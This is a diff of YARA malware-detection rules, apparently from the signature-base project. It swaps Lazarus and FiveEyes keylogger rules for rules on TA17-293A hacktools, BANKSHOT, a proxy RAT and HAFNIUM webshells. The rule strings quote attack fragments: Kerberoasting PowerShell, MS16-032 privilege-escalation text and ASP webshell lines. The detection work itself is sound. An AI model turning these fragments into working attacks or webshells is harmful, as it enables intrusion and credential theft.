+		id = "e4b92536-fa9a-5a65-8bd6-84c037dfbdce"
+		date = "2017-10-21"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_jun18.yar#L34-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7260f766ffd1122319ca69a6c87b0baa98d5727929f2e063a5b2edb05a44d827"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L152-L166"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a59834684cc1e7a34eeb8fb7f6cd1c414d6eab3ae58c6df763b2ec548705b371"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c10363059c57c52501c01f85e3bb43533ccc639f0ea57f43bae5736a8e7a9bc8"
-		hash2 = "e98991cdd9ddd30adf490673c67a4f8241993f26810da09b52d8748c6160a292"
+		hash1 = "72a28efb6e32e653b656ca32ccd44b3111145a695f6f6161965deebbdc437076"
 
 	strings:
-		$a1 = "www.marmarademo.com/include/extend.php" fullword ascii
-		$a2 = "www.33cow.com/include/control.php" fullword ascii
-		$a3 = "www.97nb.net/include/arc.sglistview.php" fullword ascii
-		$c1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"example.dat\"" fullword ascii
-		$c2 = "Content-Disposition: form-data; name=\"file1\"; filename=\"pratice.pdf\"" fullword ascii
-		$c3 = "Content-Disposition: form-data; name=\"file1\"; filename=\"happy.pdf\"" fullword ascii
-		$c4 = "Content-Disposition: form-data; name=\"file1\"; filename=\"my.doc\"" fullword ascii
-		$c5 = "Content-Disposition: form-data; name=\"board_id\"" fullword ascii
-		$s1 = "Winhttp.dll" fullword ascii
-		$s2 = "Wsock32.dll" fullword ascii
-		$s3 = "WM*.tmp" fullword ascii
-		$s4 = "FM*.tmp" fullword ascii
-		$s5 = "Cache-Control: max-age=0" fullword ascii
+		$x1 = "$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdf,DC=pd,DC=f" ascii
+		$x2 = "} | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (1 of ($a*) or 2 of ($c*) or 4 of them )
+		( filesize <80KB and 1 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Lazarus_RAT_Jun18_2 : FILE
+rule SIGNATURE_BASE_TA17_293A_Hacktool_Touch_MAC_Modification : FILE
 {
 	meta:
-		description = "Detects Lazarus Group RAT"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4f2e280e-ed76-5fb9-b137-5191bbea2155"
-		date = "2018-06-01"
+		id = "69240cc0-a04e-544a-b7e3-c5a08c062055"
+		date = "2017-10-21"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_jun18.yar#L68-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b22b8386791e86f787efc40a394bbabdb4a009fc2d1a7b87aaf5039fc977a5bd"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L168-L184"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5f4c6b653d1b6f4427c6582513d3c19cb8d580e669260a1afda01eecf8ce3bfc"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e6096fb512a6d32a693491f24e67d772f7103805ad407dc37065cebd1962a547"
+		hash1 = "070d7082a5abe1112615877214ec82241fd17e5bd465e24d794a470f699af88e"
 
 	strings:
-		$s1 = "\\KB\\Release\\" ascii
-		$s3 = "KB, Version 1.0" fullword wide
-		$s4 = "TODO: (c) <Company name>.  All rights reserved." fullword wide
+		$s1 = "-t time - use the time specified to update the access and modification times" fullword ascii
+		$s2 = "Failed to set file times for %s. Error: %x" fullword ascii
+		$s3 = "touch [-acm][ -r ref_file | -t time] file..." fullword ascii
+		$s4 = "-m - change the modification time only" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and 2 of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwareqwerty_20121
+import "pe"
+
+rule SIGNATURE_BASE_TA17_293A_Hacktool_Exploit_MS16_032 : FILE
 {
 	meta:
-		description = "FiveEyes QUERTY Malware - file 20121.xml"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bf30bdbb-0153-5ae2-bf42-4bd9e4a2f088"
-		date = "2015-01-18"
+		id = "4c5838d7-9956-564e-a25c-f2ba5641ac03"
+		date = "2017-10-21"
 		modified = "2023-12-05"
-		reference = "http://www.spiegel.de/media/media-35668.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_querty_fiveeyes.yar#L3-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8263fb58350f3b1d3c4220a602421232d5e40726"
-		logic_hash = "e2660abf4959bc57bcf9d95d974cd20718d5d27f371109cb4526cee208544530"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L186-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f0bd4f8ae1e9689f111233ca8fdb9a9b6c20e526f22350c8204f64a54639dcd"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9b97290300abb68fb48480718e6318ee2cdd4f099aa6438010fb2f44803e0b58"
 
 	strings:
-		$s0 = "<configFileName>20121_cmdDef.xml</configFileName>" fullword ascii
-		$s1 = "<name>20121.dll</name>" fullword ascii
-		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
-		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
-		$s4 = "<platform type=\"1\">" fullword ascii
-		$s5 = "</plugin>" fullword ascii
-		$s6 = "</pluginConfig>" fullword ascii
-		$s7 = "<pluginConfig>" fullword ascii
-		$s8 = "</platform>" fullword ascii
-		$s9 = "</lpConfig>" fullword ascii
-		$s10 = "<lpConfig>" fullword ascii
+		$x1 = "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread)))" ascii
+		$x2 = "0x00000002, \"C:\\Windows\\System32\\cmd.exe\", \"\"," fullword ascii
+		$x3 = "PowerShell implementation of MS16-032. The exploit targets all vulnerable" fullword ascii
+		$x4 = "If we can't open the process token it's a SYSTEM shell!" fullword ascii
 
 	condition:
-		9 of them
+		( filesize <40KB and 1 of them )
 }
-rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20123_Sys
+import "pe"
+
+rule SIGNATURE_BASE_Imphash_UPX_Packed_Malware_1_TA17_293A : FILE
 {
 	meta:
-		description = "FiveEyes QUERTY Malware - file 20123.sys.bin"
+		description = "Detects malware based on Imphash of malware used in TA17-293A"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0d0e3642-f5d4-59b2-8e56-a7c999e34775"
-		date = "2015-01-18"
+		id = "3ff28f06-8b69-5e8f-ab45-dfa4f6e69812"
+		date = "2017-10-21"
 		modified = "2023-12-05"
-		reference = "http://www.spiegel.de/media/media-35668.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_querty_fiveeyes.yar#L28-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a0f0087bd1f8234d5e847363d7e15be8a3e6f099"
-		logic_hash = "881af0e2ff8fad2bca2ae05ad63b5185356181685daafa7a1b9992a1de017c9e"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L206-L217"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "398ccbd5e492fb1efa80dc07900ef77611c4b5bab95f715fce7b5dbeb0aff49d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-
-	strings:
-		$s0 = "20123.dll" fullword ascii
-		$s1 = "kbdclass.sys" fullword wide
-		$s2 = "IoFreeMdl" fullword ascii
-		$s3 = "ntoskrnl.exe" fullword ascii
-		$s4 = "KfReleaseSpinLock" fullword ascii
+		hash1 = "a278256fbf2f061cfded7fdd58feded6765fade730374c508adad89282f67d77"
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <5000KB and pe.imphash()=="d7d745ea39c8c5b82d5e153d3313096c")
 }
-rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20123_Cmddef
+import "pe"
+
+rule SIGNATURE_BASE_Imphash_Malware_2_TA17_293A : HIGHVOL FILE
 {
 	meta:
-		description = "FiveEyes QUERTY Malware - file 20123_cmdDef.xml"
+		description = "Detects malware based on Imphash of malware used in TA17-293A"
 		author = "Florian Roth (Nextron Systems)"
-		id = "88a29288-9db5-5437-9efe-cdb823a2b928"
-		date = "2015-01-18"
+		id = "5c9f32a3-8c50-5d46-929b-bbe14697540e"
+		date = "2017-10-21"
 		modified = "2023-12-05"
-		reference = "http://www.spiegel.de/media/media-35668.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_querty_fiveeyes.yar#L47-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7b08fc77629f6caaf8cc4bb5f91be6b53e19a3cd"
-		logic_hash = "84776764caa79ad68f2dd0d2f890821c75f2efba7c46d674110ba870a40a372a"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_293A.yar#L219-L229"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5f91c07a9cc65c31eb9fd09bdd2752bc285c5a4b118ffe647391f7d187765de4"
 		score = 75
-		quality = 83
-		tags = ""
+		quality = 85
+		tags = "HIGHVOL, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-	strings:
-		$s0 = "<shortDescription>Keystroke Collector</shortDescription>" fullword ascii
-		$s1 = "This plugin is the E_Qwerty Kernel Mode driver for logging keys.</description>" fullword ascii
-		$s2 = "<commands/>" fullword ascii
-		$s3 = "</version>" fullword ascii
-		$s4 = "<associatedImplantId>20121</associatedImplantId>" fullword ascii
-		$s5 = "<rightsRequired>System or Administrator (if Administrator, I think the DriverIns" ascii
-		$s6 = "<platforms>Windows NT, Windows 2000, Windows XP (32/64 bit), Windows 2003 (32/64" ascii
-		$s7 = "<projectpath>plugin/Collection</projectpath>" fullword ascii
-		$s8 = "<dllDepend>None</dllDepend>" fullword ascii
-		$s9 = "<minorType>0</minorType>" fullword ascii
-		$s10 = "<pluginname>E_QwertyKM</pluginname>" fullword ascii
-		$s11 = "</comments>" fullword ascii
-		$s12 = "<comments>" fullword ascii
-		$s13 = "<majorType>1</majorType>" fullword ascii
-		$s14 = "<files>None</files>" fullword ascii
-		$s15 = "<poc>Erebus</poc>" fullword ascii
-		$s16 = "</plugin>" fullword ascii
-		$s17 = "<team>None</team>" fullword ascii
-		$s18 = "<?xml-stylesheet type=\"text/xsl\" href=\"../XSLT/pluginHTML.xsl\"?>" fullword ascii
-		$s19 = "<pluginsDepend>U_HookManager v1.0, Kernel Covert Store v1.0</pluginsDepend>" fullword ascii
-		$s20 = "<plugin id=\"20123\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi" ascii
-
 	condition:
-		14 of them
+		( uint16(0)==0x5a4d and filesize <5000KB and pe.imphash()=="a8f69eb2cf9f30ea96961c86b4347282")
 }
-rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20121_Dll
+rule SIGNATURE_BASE_Hiddencobra_BANKSHOT_Gen : FILE
 {
 	meta:
-		description = "FiveEyes QUERTY Malware - file 20121.dll.bin"
+		description = "Detects Hidden Cobra BANKSHOT trojan"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a0dc146c-85fd-55b8-a5e0-bfc1f406507e"
-		date = "2015-01-18"
-		modified = "2023-12-05"
-		reference = "http://www.spiegel.de/media/media-35668.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_querty_fiveeyes.yar#L82-L96"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "89504d91c5539a366e153894c1bc17277116342b"
-		logic_hash = "e735a7c26652cbf2bccac80a14568a3582b254ae25e2db56a46c09a714650611"
+		id = "fbf9dd32-cb9a-51f2-bd03-0387fbf44baa"
+		date = "2017-12-26"
+		modified = "2022-06-10"
+		reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hiddencobra_bankshot.yar#L11-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "db4d396736ab42942f1a11a819419410e388b011e8992ad187c2f484d637c99c"
 		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 83
+		tags = "FILE"
+		hash1 = "89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486"
+		hash2 = "8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247"
+		hash3 = "b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24"
+		hash4 = "daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75"
+		hash5 = "ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699"
+		hash6 = "d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff"
+		hash7 = "ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9"
+		hash8 = "3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6"
+		hash9 = "6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca"
 
 	strings:
-		$s0 = "WarriorPride\\production2.0\\package\\E_Wzowski" ascii
-		$s1 = "20121.dll" fullword ascii
+		$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword wide
+		$s2 = "rHTTP/1.1 200 Connection established" fullword wide
+		$s3 = "Proxy-Connection: keep-alive" fullword wide
+		$s4 = "\\msncf.dat" wide
+		$s5 = "msvcru32.bat" fullword ascii
+		$s6 = "reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"%s\" /f" fullword ascii
+		$s7 = "MXINFO.DLL" fullword ascii
+		$s8 = "usrvc32.bat" fullword ascii
+		$s9 = "ping -n 1 127.0.0.1" fullword ascii
+		$s10 = "%sd.e%sc \"%s > %s 2>&1\"" ascii fullword
+		$s11 = "DWS*.tmp" ascii fullword
+		$s12 = "CS*.tmp" fullword wide
+		$s13 = "WM*.tmp" fullword wide
+		$x1 = "CgpaipIddwspwe32Hnaehsdi" fullword ascii
+		$x2 = "RpiPmtiCdopIsgpao" fullword ascii
+		$x3 = "RpiLtnodlhOtgpcidgyA" fullword ascii
+		$x4 = "LatiQdgHtnrwpDbupci" fullword ascii
+		$x6 = "\\system32\\msncf.dat" ascii
+		$x7 = "GprthipgHpgktcpCigwSanowpgA" fullword ascii
+		$a1 = "live.dropbox.com" fullword ascii
+		$a2 = "tatadocomo.yahoo.com" fullword ascii
+		$a3 = "widgets.twimg.com" fullword ascii
+		$a4 = "history.paypal.com" fullword ascii
+		$a5 = "www.bitcoin.org" fullword ascii
+		$a6 = "web.whatsapp.com" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) or 2 of ($s*) or 4 of ($a*))
 }
-rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwareqwerty_20123
+rule SIGNATURE_BASE_Unauthorized_Proxy_Server_RAT
 {
 	meta:
-		description = "FiveEyes QUERTY Malware - file 20123.xml"
-		author = "Florian Roth (Nextron Systems)"
-		id = "718d80c9-b6bb-5b73-9c17-49e7d6f77210"
-		date = "2015-01-18"
+		description = "Detects Proxy Server RAT"
+		author = "US-CERT Code Analysis Team"
+		id = "378573e3-17a7-5862-aae5-a8e84102e237"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.spiegel.de/media/media-35668.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_querty_fiveeyes.yar#L97-L121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "edc7228b2e27df9e7ff9286bddbf4e46adb51ed9"
-		logic_hash = "918462399af78b16a8214ceb1d39db554e3136efd4bc643353f0727e4a162516"
+		reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hiddencobra_bankshot.yar#L67-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ede26272ddcb25dca2b44ff08b232f358078872f6cf76491b0fd8d65772c60d"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "C74E289AD927E81D2A1A56BC73E394AB"
+		hash2 = "2950E3741D7AF69E0CA0C5013ABC4209"
 
 	strings:
-		$s0 = "<!-- edited with XMLSPY v5 rel. 4 U (http://www.xmlspy.com) by TEAM (RENEGADE) -" ascii
-		$s1 = "<configFileName>20123_cmdDef.xml</configFileName>" fullword ascii
-		$s2 = "<name>20123.sys</name>" fullword ascii
-		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
-		$s4 = "<codebase>/bin/i686-pc-win32/debug</codebase>" fullword ascii
-		$s5 = "<platform type=\"1\">" fullword ascii
-		$s6 = "</plugin>" fullword ascii
-		$s7 = "</pluginConfig>" fullword ascii
-		$s8 = "<pluginConfig>" fullword ascii
-		$s9 = "</platform>" fullword ascii
-		$s10 = "</lpConfig>" fullword ascii
-		$s11 = "<lpConfig>" fullword ascii
+		$s0 = {8A043132C288043125FF00000003C299F73D40404900A14440490003D0413BCF72DE5E5FC3}
+		$s1 = {8A04318844241432C28804318B44241425FF00000003C299F73D40404900A14440490003D0413BCF72D65E5FC3}
+		$s2 = {8A04318844241432C28804318B44241425FF00000003C299F73D5C394100A16039410003D0413BCF72D65E5FC3}
+		$s3 = {8A043132C288043125FF00000003C299F73D5C394100A16039410003D0413BCF72DE5E5FC3}
+		$s4 = {B91A7900008A140780F29A8810404975F4}
+		$s5 = {399FE192769F839DCE9F2A9D2C9EAD9CEB9FD19CA59F7E9F539CEF9F029F969C6C9E5C9D949FC99F}
+		$s6 = {8A04318844241432C28804318B44241425FF00000003C299F73D40600910A14460091003D0413BCF72D65E5FC3}
+		$s7 = {3C5C75208A41014184C074183C72740C3C7474083C6274043C2275088A41014184C075DC}
+		$s8 = {8B063D9534120077353D59341200722E668B4604663DE8037F24}
+		$s9 = {8BC88B74241CC1E1052BC88B7C2418C1E1048B5C241403C88D04888B4C242083F9018944240C7523}
+		$s10 = {8B063D9034120077353D59341200722E668B4604663DE8037F246685C0}
+		$s11 = {30110FB60148FFC102C20FBEC09941F7F94103D249FFC875E7}
+		$s12 = {448BE8B84FECC44E41F7EDC1FA038BCAC1E91F03D16BD21A442BEA4183C541}
+		$s13 = {8A0A80F9627C2380F9797F1E80F9647C0A80F96D7F0580C10BEB0D80F96F7C0A80F9787F05}
 
 	condition:
-		9 of them
+		any of them
 }
-rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20120_Dll
+rule SIGNATURE_BASE_WEBSHELL_ASP_Embedded_Mar21_1 : FILE
 {
 	meta:
-		description = "FiveEyes QUERTY Malware - file 20120.dll.bin"
+		description = "Detects ASP webshells"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d23ac7bf-3e0c-5b59-a9dc-1ae0a4ae9c02"
-		date = "2015-01-18"
+		id = "7cf7db9d-8f8a-51db-a0e6-84748e8f9e1f"
+		date = "2021-03-05"
 		modified = "2023-12-05"
-		reference = "http://www.spiegel.de/media/media-35668.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_querty_fiveeyes.yar#L123-L156"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6811bfa3b8cda5147440918f83c40237183dbd25"
-		logic_hash = "fc3aac33c84d3b4a981c2d1a9358c54dc5ceca2017dbf2e2a51e1b6970b90796"
-		score = 75
-		quality = 83
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4a8b4cea6f53dad9771cb694ec55f305f04dfdbd8e663154cad672ca414c138c"
+		score = 85
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s0 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.txt" wide
-		$s1 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.xml" wide
-		$s2 = "Failed to send the EQwerty_driverStatusCommand to the implant." fullword ascii
-		$s3 = "- Log Used (number of windows) - %d" fullword wide
-		$s4 = "- Log Limit (number of windows) - %d" fullword wide
-		$s5 = "Process or User Default Language" fullword wide
-		$s6 = "Windows 98/Me, Windows NT 4.0 and later: Vietnamese" fullword wide
-		$s7 = "- Logging of keystrokes is switched ON" fullword wide
-		$s8 = "- Logging of keystrokes is switched OFF" fullword wide
-		$s9 = "Qwerty is currently logging active windows with titles containing the fo" wide
-		$s10 = "Windows 95, Windows NT 4.0 only: Korean (Johab)" fullword wide
-		$s11 = "FAILED to get Qwerty Status" fullword wide
-		$s12 = "- Successfully retrieved Log from Implant." fullword wide
-		$s13 = "- Logging of all Windows is toggled ON" fullword wide
-		$s14 = "- Logging of all Windows is toggled OFF" fullword wide
-		$s15 = "Qwerty FAILED to retrieve window list." fullword wide
-		$s16 = "- UNSUCCESSFUL Log Retrieval from Implant." fullword wide
-		$s17 = "The implant failed to return a valid status" fullword ascii
-		$s18 = "- Log files were NOT generated!" fullword wide
-		$s19 = "Windows 2000/XP: Armenian. This is Unicode only." fullword wide
-		$s20 = "- This machine is using a PS/2 Keyboard - Continue on using QWERTY" fullword wide
+		$s1 = "<script runat=\"server\">" nocase
+		$s2 = "new System.IO.StreamWriter(Request.Form["
+		$s3 = ".Write(Request.Form["
 
 	condition:
-		10 of them
+		filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20120_Cmddef
+rule SIGNATURE_BASE_APT_WEBSHELL_HAFNIUM_Secchecker_Mar21_1 : FILE
 {
 	meta:
-		description = "FiveEyes QUERTY Malware - file 20120_cmdDef.xml"
+		description = "Detects HAFNIUM SecChecker webshell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dfa0693e-4e4c-59c8-9e51-e221aefd8662"
-		date = "2015-01-18"
+		id = "73db3d78-7ece-53be-9efb-d19801993d5e"
+		date = "2021-03-05"
 		modified = "2023-12-05"
-		reference = "http://www.spiegel.de/media/media-35668.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_querty_fiveeyes.yar#L158-L191"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cda9ceaf0a39d6b8211ce96307302a53dfbd71ea"
-		logic_hash = "9c336a09adb5fdf3149e5d0ad716cb854f95effa4ce4dfe3e75f43031e4903ff"
+		reference = "https://twitter.com/markus_neis/status/1367794681237667840"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L18-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e0e4df860bdde7d5c277f596535c493d926095be6f46f6ba41b6177afbfc5cd9"
 		score = 75
-		quality = 83
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 85
+		tags = "FILE"
+		hash1 = "b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0"
 
 	strings:
-		$s0 = "This PPC gets the current keystroke log." fullword ascii
-		$s1 = "This command will add the given WindowTitle to the list of Windows to log keys f" ascii
-		$s2 = "This command will remove the WindowTitle corresponding to the given window title" ascii
-		$s3 = "This command will return the current status of the Keyboard Logger (Whether it i" ascii
-		$s4 = "This command Toggles logging of all Keys. If allkeys is toggled all keystrokes w" ascii
-		$s5 = "<definition>Turn logging of all keys on|off</definition>" fullword ascii
-		$s6 = "<name>Get Keystroke Log</name>" fullword ascii
-		$s7 = "<description>Keystroke Logger Lp Plugin</description>" fullword ascii
-		$s8 = "<definition>display help for this function</definition>" fullword ascii
-		$s9 = "This command will switch ON Logging of keys. All keys taht are entered to a acti" ascii
-		$s10 = "Set the log limit (in number of windows)" fullword ascii
-		$s11 = "<example>qwgetlog</example>" fullword ascii
-		$s12 = "<aliasName>qwgetlog</aliasName>" fullword ascii
-		$s13 = "<definition>The title of the Window whose keys you wish to Log once it becomes a" ascii
-		$s14 = "This command will switch OFF Logging of keys. No keystrokes will be captured" fullword ascii
-		$s15 = "<definition>The title of the Window whose keys you no longer whish to log</defin" ascii
-		$s16 = "<command id=\"32\">" fullword ascii
-		$s17 = "<command id=\"3\">" fullword ascii
-		$s18 = "<command id=\"7\">" fullword ascii
-		$s19 = "<command id=\"1\">" fullword ascii
-		$s20 = "<command id=\"4\">" fullword ascii
+		$x1 = "<%if(System.IO.File.Exists(\"c:\\\\program files (x86)\\\\fireeye\\\\xagt.exe" ascii
+		$x2 = "\\csfalconservice.exe\")){Response.Write( \"3\");}%></head>" ascii fullword
 
 	condition:
-		10 of them
+		uint16(0)==0x253c and filesize <1KB and 1 of them or 2 of them
 }
-rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwareqwerty_20120
+rule SIGNATURE_BASE_APT_HAFNIUM_Forensic_Artefacts_Mar21_1
 {
 	meta:
-		description = "FiveEyes QUERTY Malware - file 20120.xml"
+		description = "Detects forensic artefacts found in HAFNIUM intrusions"
 		author = "Florian Roth (Nextron Systems)"
-		id = "503c71de-1bc5-5690-944c-a60917a4da09"
-		date = "2015-01-18"
+		id = "872822b0-34d9-5ae4-a532-6a8786494fa9"
+		date = "2021-03-02"
 		modified = "2023-12-05"
